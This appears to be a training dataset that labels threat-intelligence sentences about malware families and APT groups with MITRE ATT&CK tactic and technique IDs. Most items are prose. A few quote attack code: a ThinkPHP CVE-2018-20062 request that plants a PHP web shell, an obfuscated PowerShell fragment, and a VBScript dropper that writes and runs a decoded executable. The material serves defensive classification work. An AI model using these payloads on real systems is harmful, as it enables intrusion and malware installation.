madox81/Adema_ATTACK_DS huggingface dataset:
Input: HiddenWasp uses a cipher to implement a decoding function.

Tactics: TA0005
Techniques: T1140
Input: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders

Tactics: TA0003, TA0004
Techniques: T1547.001, T1547
Input: BoomBox has the ability to mask malicious data strings as PDF files.

Tactics: TA0005
Techniques: T1036
Input: Rocke has used Pastebin, Gitee, and GitLab for Command and Control.

Tactics: TA0011
Techniques: T1102
Input: FIN4 has presented victims with spoofed Windows Authentication prompts to collect their credentials.

Tactics: TA0006, TA0009
Techniques: T1056.002, T1056
Input: Use process monitoring to monitor the execution and arguments of from developer utilities that may be abused.

Tactics: TA0005
Techniques: T1127
Input: FIN8 has also used WMIC for lateral movement as well as during and post compromise cleanup activities.

Tactics: TA0002
Techniques: T1047
Input: Based on our analysis, financial organizations in Turkey were targeted via spear phishing emails containing a malicious Microsoft Word document

Tactics: TA0001
Techniques: T1566, T1566.001
Input: Empire has a module for creating a local user if permissions allow.

Tactics: TA0003
Techniques: T1136, T1136.001
Input: On MacOS, allowlist programs that are allowed to have the plist tag.

Tactics: TA0005
Techniques: T1564.003, T1564
Input: Ensure proper process and file permissions are in place to prevent adversaries from disabling or interfering with logging or deleting or modifying .evtx logging files.

Tactics: TA0005
Techniques: T1562.002, T1562
Input: BLINDINGCAN can search, read, write, move, and execute files.

Tactics: TA0007
Techniques: T1083
Input: Stuxnet checks for specific operating systems on 32-bit machines, Registry keys, and dates for vulnerabilities, and will exit execution if the values are not met.

Tactics: TA0005
Techniques: T1480
Input: TA551 has hidden encoded data for malware DLLs in a PNG.

Tactics: TA0005
Techniques: T1027.003, T1027
Input: REvil has encrypted C2 communications with the ECIES algorithm.

Tactics: TA0011
Techniques: T1573, T1573.002
Input: The group has also set the creation time of the files dropped by the second stage of the exploit to match the creation time of kernel32.dll.

Tactics: TA0005
Techniques: T1070, T1070.006
Input: Installation of many remote access tools may also include persistence (ex: the tool's installation routine creates a Windows Service).

Tactics: TA0011
Techniques: T1219
Input: Tropic Trooper has created shortcuts in the Startup folder to establish persistence.

Tactics: TA0003, TA0004
Techniques: T1547.001, T1547
Input: Deploy an LLMNR/NBT-NS spoofing detection tool.

Tactics: TA0006, TA0009
Techniques: T1557.001, T1557
Input: JPIN can lower security settings by changing Registry keys.

Tactics: TA0005
Techniques: T1562.001, T1562
Input: Adversaries may infect PAM resources with code to harvest user credentials, since the values exchanged with PAM components may be plain-text since PAM does not store passwords.

Tactics: TA0003, TA0005, TA0006
Techniques: T1556.003, T1556
Input: Adversaries may execute their own malicious payloads by hijacking vulnerable file path references.

Tactics: TA0003, TA0004, TA0005
Techniques: T1574.009, T1574
Input: In a later variant, randomly generated data was used for data overwrites.

Tactics: TA0040
Techniques: T1485
Input: TEARDROP ran as a Windows service from the c:\windows\syswow64 folder.

Tactics: TA0003, TA0004
Techniques: T1543.003, T1543
Input: USBStealer drops itself onto removable media and relies on Autorun to execute the malicious file when a user opens the removable media on another system.

Tactics: TA0001, TA0008
Techniques: T1091
Input: PoshC2 contains an implementation of Mimikatz to gather credentials from memory.

Tactics: TA0006
Techniques: T1003, T1003.001
Input: While users do typically rely on their history of commands, they often access this history through other utilities like "history" instead of commands like cat ~/.bash_history.

Tactics: TA0006
Techniques: T1552.003, T1552
Input: They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.

Tactics: TA0003
Techniques: T1176
Input: Some of the instances used in this script are: $eNv:puBLic[13]+$ENv:pUBLIc[5]+'x' ($ENV:cOMsPEC[4,26,25]-jOin'')      XOR encoding: The biggest section of the PowerShell script is XOR encoded using a single byte key, as shown in Figure 11

Tactics: TA0005, TA0011
Techniques: T1573, T1027
Input: It can also upload and download files over HTTP and HTTPS.

Tactics: TA0011
Techniques: T1105
Input: Enterprise email solutions have monitoring mechanisms that may include the ability to audit auto-forwarding rules on a regular basis.

Tactics: TA0009
Techniques: T1114, T1114.003
Input: Ramsay can also embed information within document footers.

Tactics: TA0005
Techniques: T1027
Input: Cobalt Group has used DNS tunneling for C2.

Tactics: TA0011
Techniques: T1071.004, T1071
Input: Ryuk has constructed legitimate appearing installation folder paths by calling GetWindowsDirectoryW and then inserting a null byte at the fourth character of the path.

Tactics: TA0005
Techniques: T1036.005, T1036
Input: Upon execution, this command extracted, decrypted, and executed the PowerShell backdoor payload stored in the HiveUploadTask text property of the RacTask class

Tactics: TA0002, TA0005
Techniques: T1140, T1059.001, T1059
Input: Caterpillar WebShell can run commands on the compromised asset with CMD functions.

Tactics: TA0002
Techniques: T1059.003, T1059
Input: Bisonal has used HTTP for C2 communications.

Tactics: TA0011
Techniques: T1071, T1071.001
Input: APT28 has used a brute-force/password-spray tooling that operated in two modes: in password-spraying mode it conducted approximately four authentication attempts per hour per targeted account over the course of several days or weeks.

Tactics: TA0006
Techniques: T1110, T1110.003
Input: Monitor for newly constructed files that may execute their own malicious payloads by hijacking the way operating systems run programs.

Tactics: TA0003, TA0004, TA0005
Techniques: T1574
Input: The credentials are stored in the ccache file while they remain valid and generally while a user's session lasts.

Tactics: TA0006
Techniques: T1558
Input: The code obtains the external IP address via an HTTP request using to “http://checkip.dyndns.org/” and uses a regular expression to locate an IP address from the HTTP response

Tactics: TA0007, TA0011
Techniques: T1071, T1016
Input: However note that SID Filtering is not automatically applied to legacy trusts or may have been deliberately disabled to allow inter-domain access to resources.

Tactics: TA0004, TA0005
Techniques: T1134.005, T1134
Input: They previously used named and hijacked scheduled tasks to also establish persistence.

Tactics: TA0002, TA0003, TA0004
Techniques: T1053.005, T1053
Input: Kazuar uses HTTP and HTTPS to communicate with the C2 server.

Tactics: TA0011
Techniques: T1071, T1071.001
Input: A more comprehensive list of known packers is available, but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.

Tactics: TA0005
Techniques: T1027.002, T1027
Input: They provide support for multiple logon processes and multiple security protocols to the operating system.

Tactics: TA0003, TA0004
Techniques: T1547.002, T1547
Input: Source code snippets

Tactics: TA0009
Techniques: T1213, T1213.001, T1213.002
Input: After the process is hijacked and malicious code is executed, the KernelCallbackTable may also be restored to its original state by the rest of the malicious payload.

Tactics: TA0003, TA0004, TA0005
Techniques: T1574.013, T1574
Input: Skidmap is a kernel-mode rootkit that has the ability to hook system calls to hide specific files and fake network and CPU-related statistics to make the CPU load of the infected machine always appear low.

Tactics: TA0005
Techniques: T1014
Input: Ke3chang has deobfuscated Base64-encoded shellcode strings prior to loading them.

Tactics: TA0005
Techniques: T1140
Input: SamSam encrypts victim files using RSA-2048 encryption and demands a ransom be paid in Bitcoin to decrypt those files.

Tactics: TA0040
Techniques: T1486
Input: During the exfiltration process, the malware Base64-encodes the encrypted data and sends it to its control server using an HTTP POST request to the URL:  http://ink[dot]inkboom.co.kr/host/img/jpg/post.php  HTTP data/parameters used in the request include:  Content-Type: multipart/form-data; boundary=—-WebKitFormBoundar ywhpFxMBe19cSjFnG <followed by base64 encoded & encrypted system info> User Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; .NET CLR 1.1.4322) Accept-Language: en-us HTTP Version: HTTP/1.0    The malware can also download and execute additional components served to it by the control server

Tactics: TA0009, TA0011, TA0010
Techniques: T1132, T1071, T1048, T1560
Input: The Mimikatz credential dumper has been extended to include Skeleton Key domain controller authentication bypass functionality.

Tactics: TA0003
Techniques: T1098
Input: Adversaries can abuse this by looking through the file for potential credentials.

Tactics: TA0006
Techniques: T1552.003, T1552
Input: FIN7 has attempted to run Darkside ransomware with the filename sleep.exe.

Tactics: TA0005
Techniques: T1036.005, T1036
Input: Monitor executed commands and arguments for actions that could be taken to clear command history, such as Clear-History on Windows, or to disable writing command history, such as history -c in bash/zsh.

Tactics: TA0005
Techniques: T1070, T1070.003
Input: GALLIUM used a modified version of HTRAN in which they obfuscated strings such as debug messages in an apparent attempt to evade detection.

Tactics: TA0005
Techniques: T1027
Input: Scripting interpreters automate tasks and extend functionality beyond the command set included in the network OS.

Tactics: TA0002
Techniques: T1059.008, T1059
Input: Custom Outlook forms can be created that will execute code when a specifically crafted email is sent by an adversary utilizing the same custom Outlook form.

Tactics: TA0003
Techniques: T1137, T1137.003
Input: Adding new capabilities for the adversary’s purpose include Keylogging, Multi-hop Proxy, and Port Knocking.

Tactics: TA0005
Techniques: T1601, T1601.001
Input: Bazar can query Windows\CurrentVersion\Uninstall for installed applications.

Tactics: TA0007
Techniques: T1012
Input: Valak has used PowerShell to download additional modules.

Tactics: TA0002
Techniques: T1059.001, T1059
Input: Adversaries may give tasks or services names that are similar or identical to those of legitimate ones.

Tactics: TA0005
Techniques: T1036.004, T1036
Input: Applying more restrictive permissions to files and directories could prevent adversaries from modifying the access control lists.

Tactics: TA0005
Techniques: T1222.002, T1222, T1222.001
Input: Exaramel for Linux has a command to execute a shell command on the system.

Tactics: TA0002
Techniques: T1059.004, T1059
Input: The encrypted message is then Base64 encoded, replacing all the ‘/’ and ‘+’ characters with the ‘.’ and ‘-’ characters, respectively

Tactics: TA0005, TA0011
Techniques: T1132, T1027
Input: GravityRAT executes commands remotely on the infected host.

Tactics: TA0002
Techniques: T1059.003, T1059
Input: Patch the BIOS and other firmware as necessary to prevent successful use of known vulnerabilities.

Tactics: TA0040
Techniques: T1495
Input: InnaputRAT uses an 8-byte XOR key to obfuscate API names and other strings contained in the payload.

Tactics: TA0005
Techniques: T1027
Input: Lazarus Group has targeted specific individuals within an organization with tailored job vacancy announcements.

Tactics: TA0043
Techniques: T1591.004, T1591
Input: We believe this access was abused, for example, by inserting malicious scripts in the country’s official websites in order to conduct watering hole attacks

Tactics: TA0001
Techniques: T1189
Input: Monitor for new service driver installations and loads (ex: Sysmon Event ID 6) that are not part of known software update/patch cycles.

Tactics: TA0003, TA0004
Techniques: T1543.003, T1543
Input: Patchwork used PowerSploit to download payloads, run a reverse shell, and execute malware on the victim's machine.

Tactics: TA0002
Techniques: T1059.001, T1059
Input: Information about network security appliances may also be exposed to adversaries via online or other accessible data sets (ex: Search Victim-Owned Websites).

Tactics: TA0043
Techniques: T1590, T1590.006
Input: Emissary has the capability to execute gpresult.

Tactics: TA0007
Techniques: T1615
Input: The exploitation is issued in three steps:  Exploiting CVE-2018-20062 for uploading a PHP shell  Using a GET request, a remote command execution vulnerability in ThinkPHP (CVE-2018-20062) is sent to the targeted server, as shown below: s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<? php $action = $_GET[‘module’];system($action);? ^>>index.php This shell executes commands sent via the “module” parameter in a query

Tactics: TA0002
Techniques: T1203, T1059
Input: The file name refers to an entry in the IMPORT directory or a forwarded EXPORT.

Tactics: TA0002
Techniques: T1129
Input: MuddyWater has disguised malicious executables and used filenames and Registry key names associated with Windows Defender.

Tactics: TA0005
Techniques: T1036.005, T1036
Input: Matryoshka can establish persistence by adding a Scheduled Task named "Microsoft Boost Kernel Optimization".

Tactics: TA0002, TA0003, TA0004
Techniques: T1053.005, T1053
Input: Track the deployment of new containers, especially from newly built images.

Tactics: TA0002
Techniques: T1204.003, T1204
Input: Similar to Process Hollowing, process doppelgänging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection.

Tactics: TA0004, TA0005
Techniques: T1055.013, T1055
Input: Metamorfo has collected the username from the victim's machine.

Tactics: TA0007
Techniques: T1033
Input: BBSRAT can list file and directory information.

Tactics: TA0007
Techniques: T1083
Input: TAINTEDSCRIBE can use DriveList to retrieve drive information.

Tactics: TA0007
Techniques: T1082
Input: IndigoZebra has acquired open source tools such as NBTscan and Meterpreter for their operations.

Tactics: TA0042
Techniques: T1588, T1588.002
Input: To perform proper validation, filters must receive plain-text credentials from the LSA.

Tactics: TA0003, TA0005, TA0006
Techniques: T1556.002, T1556
Input: DLL injection is commonly performed by writing the path to a DLL in the virtual address space of the target process before loading the DLL by invoking a new thread.

Tactics: TA0004, TA0005
Techniques: T1055, T1055.001
Input: Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.

Tactics: TA0043
Techniques: T1592, T1592.002, T1592.004, T1592.001
Input: Pay2Key can remove its log file from disk.

Tactics: TA0005
Techniques: T1070, T1070.004
Input: ZxShell can transfer files from a compromised host.

Tactics: TA0009
Techniques: T1005
Input: Kimsuky has used mshta.exe to run malicious scripts on the system.

Tactics: TA0005
Techniques: T1218.005, T1218
Input: With Domain Administrator (or equivalent) rights, harvested or well-known SID values  may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators.

Tactics: TA0004, TA0005
Techniques: T1134.005, T1134
Input: Using a custom User Agent string or the system's User Agent string derived from urlmon.dll   7

Tactics: TA0003, TA0004
Techniques: T1543.001, T1543
Input: NotPetya can use two exploits in SMBv1, EternalBlue and EternalRomance, to spread itself to other remote systems on the network.

Tactics: TA0008
Techniques: T1210
Input: Adversaries may attempt to gather information on domain trust relationships that may be used to identify lateral movement opportunities in Windows multi-domain/forest environments.

Tactics: TA0007
Techniques: T1482
Input: Lokibot has obfuscated strings with base64 encoding.

Tactics: TA0005
Techniques: T1027
Input: CharmPower can list the installed applications on a compromised host.

Tactics: TA0007
Techniques: T1518
Input: HALFBAKED can obtain information about running processes on the victim.

Tactics: TA0007
Techniques: T1057
Input: exploits a known Windows privilege escalation vulnerability ( ) on unpatched computers.

Tactics: TA0004
Techniques: T1068
Input: HermeticWiper can disable the VSS service on a compromised host using the service control manager.

Tactics: TA0040
Techniques: T1490
Input: Monitor executed commands and arguments that may gain persistence and elevate privileges by executing malicious content triggered by the Event Monitor Daemon (emond).

Tactics: TA0003, TA0004
Techniques: T1546, T1546.014
Input: Diavol has a command to traverse the files and directories in a given path.

Tactics: TA0007
Techniques: T1083
Input: ^testmode Runs the test function to determine which DNS query types can successfully communicate with the C2   ^showconfig Creates a pipe delimited (“|”) string that contains the sample’s settings, including the list of C2 domains and available DNS query types

Tactics: TA0011
Techniques: T1071, T1008
Input: Monitor executed commands and arguments for scripts like PubPrn.vbs that may be used to proxy execution of malicious files.

Tactics: TA0005
Techniques: T1216.001, T1216
Input: Hikit supports peer connections.

Tactics: TA0011
Techniques: T1090.001, T1090
Input: Honeybee uses a batch file that configures the ComSysApp service to autostart in order to establish persistence.

Tactics: TA0003, TA0004
Techniques: T1547.001, T1547
Input: GoldenSpy can create new users on an infected system.

Tactics: TA0003
Techniques: T1136, T1136.001
Input: Adversaries may easily gather email addresses, since they may be readily available and exposed via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites).

Tactics: TA0043
Techniques: T1589.002, T1589
Input: This IP has hosted other domains used by APT3 in past campaigns:  DOMAIN  FIRST SEEN  LAST SEEN  IP ADDRESS  join.playboysplus[.]com  2014-11-21  2014-11-21  104.151.248.173  walterclean[.]com  2014-11-18  2014-11-20  104.151.248.173  www.walterclean[.]com  2014-11-18  2014-11-20  104.151.248.173   As we discussed in our previous blog detailing previous APT3 activity, the walterclean[.]com served as a Plugx/Kaba command and control server

Tactics: TA0004, TA0007
Techniques: T1068, T1016
Input: Tonto Team has downloaded malicious DLLs which served as a ShadowPad loader.

Tactics: TA0011
Techniques: T1105
Input: TeamTNT has developed custom malware such as Hildegard.

Tactics: TA0042
Techniques: T1587, T1587.001
Input: The AWS command aws iam list-users may be used to obtain a list of users in the current account while aws iam list-roles can obtain IAM roles that have a specified path prefix.

Tactics: TA0007
Techniques: T1087, T1087.004
Input: Carberp has attempted to disable security software by creating a suspended process for the security software and injecting code to delete antivirus core files when the process is resumed.

Tactics: TA0005
Techniques: T1562.001, T1562
Input: BOOSTWRITE has used a a 32-byte long multi-XOR key to decode data inside its payload.

Tactics: TA0005
Techniques: T1140
Input: BADNEWS encodes C2 traffic with base64.

Tactics: TA0011
Techniques: T1132.001, T1132
Input: Cloud providers offer methods such as APIs and commands issued through CLIs to serve information about infrastructure.

Tactics: TA0007
Techniques: T1580
Input: Diavol can use the ARP table to find remote hosts to scan.

Tactics: TA0007
Techniques: T1018
Input: Tonto Team has exploited Microsoft vulnerabilities, including CVE-2018-0798, CVE-2018-8174, CVE-2018-0802, CVE-2017-11882, CVE-2019-9489 CVE-2020-8468, and CVE-2018-0798 to enable execution of their delivered malicious payloads.

Tactics: TA0002
Techniques: T1203
Input: What changes in the code can we see in such short time intervals that would not be present in a build tool? In one case, one build was programmed to execute the runmem command for a file named wi.exe while the other was not

Tactics: TA0005
Techniques: T1036
Input: Monitor executed commands and arguments for actions that could be taken to gather browser bookmark information.

Tactics: TA0007
Techniques: T1217
Input: Network intrusion detection and prevention systems that can identify traffic patterns indicative of AiTM activity can be used to mitigate activity at the network level.

Tactics: TA0006, TA0009
Techniques: T1557.001, T1557, T1557.002
Input: ROKRAT can collect the username from a compromised host.

Tactics: TA0007
Techniques: T1033
Input: Pteranodon can delete files that may interfere with it executing.

Tactics: TA0005
Techniques: T1070, T1070.004
Input: Applying SID Filter Quarantining to external trusts using the netdom tool (netdom trust  /domain: /quarantine:yes on the domain controller)

Tactics: TA0004, TA0005
Techniques: T1134.005, T1134
Input: Hashing of binaries and service executables could be used to detect replacement against historical data.

Tactics: TA0003, TA0004, TA0005
Techniques: T1574.010, T1574
Input: Hikit has used HTTP for C2.

Tactics: TA0011
Techniques: T1071, T1071.001
Input: SpyNote RAT captured the device’s screen activities along with audio using the  MediaProjectionCallback functionality (available with Lollipop, the Android 5.0 release, and later) and saved the output in a file named "video.mp4" as shown in the following screenshot:          Figure 5 : Output File     SMS stealing  SpyNote RAT was also observed stealing SMS messages from the affected devices, as shown in screenshot below:          Figure 6: Reading SMS messages     Stealing contacts The ability to steal contacts is a favorite feature for spyware developers, as the stolen contacts can be used to further spread the spyware

Tactics: TA0009
Techniques: T1113
Input: DarkVishnya used Bash Bunny, Raspberry Pi, netbooks or inexpensive laptops to connect to the company’s local network.

Tactics: TA0001
Techniques: T1200
Input: Filename The_Four_Traps_for_China.doc   File Size 4428595 bytes   MD5 7659c41a30976d523bb0fbb8cde49094   SHA1 3f1f3e838a307aff52fbcb5bba5e4c8fe68c30e5   Notes Malicious RTF document that exploits CVE-2017-8570 and drops QuasarRAT file qrat.exe

Tactics: TA0005
Techniques: T1036
Input: Several Lazarus Group malware families encrypt C2 traffic using custom code that uses XOR with an ADD operation and XOR with a SUB operation.

Tactics: TA0011
Techniques: T1573, T1573.001
Input: Analysis starts with a zlib decompression (a standard action of HWP documents) and we're able to recover the following script:const strEncode = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6AAAAA4fug4AtAnNIbgBTM0hV[...redacted...]AAAAAAAAAAAAAAAAAAAAAA="DIM outFileDIM base64DecodedDIM shell_objSET shell_obj = CreateObject("WScript.Shell")DIM fsoSET fso = CreateObject("Scripting.FileSystemObject")outFile = "c:\ProgramData\HncModuleUpdate.exe"base64Decoded = decodeBase64(strEncode)IF NOT(fso.FileExists(outFile)) thenwriteBytes outFile, base64Decodedshell_obj.run outFileEND IFWScript.Quit()private function decodeBase64(base64)DIM DM, ELSET DM = CreateObject("Microsoft.XMLDOM")SET EL = DM.createElement("tmp")EL.DataType = "bin.base64"EL.Text = base64decodeBase64 = EL.NodeTypedValueend functionprivate Sub writeBytes(file, bytes)DIM binaryStreamSET binaryStream = CreateObject("ADODB.Stream")binaryStream.Type = 1binaryStream.OpenbinaryStream.Write bytesbinaryStream.SaveToFile file, 1End SubThis script is executed and is used to decode a static base64 string within the strEncode variable

Tactics: TA0002, TA0005
Techniques: T1027, T1059
Input: Inception has exploited CVE-2012-0158, CVE-2014-1761, CVE-2017-11882 and CVE-2018-0802 for execution.

Tactics: TA0002
Techniques: T1203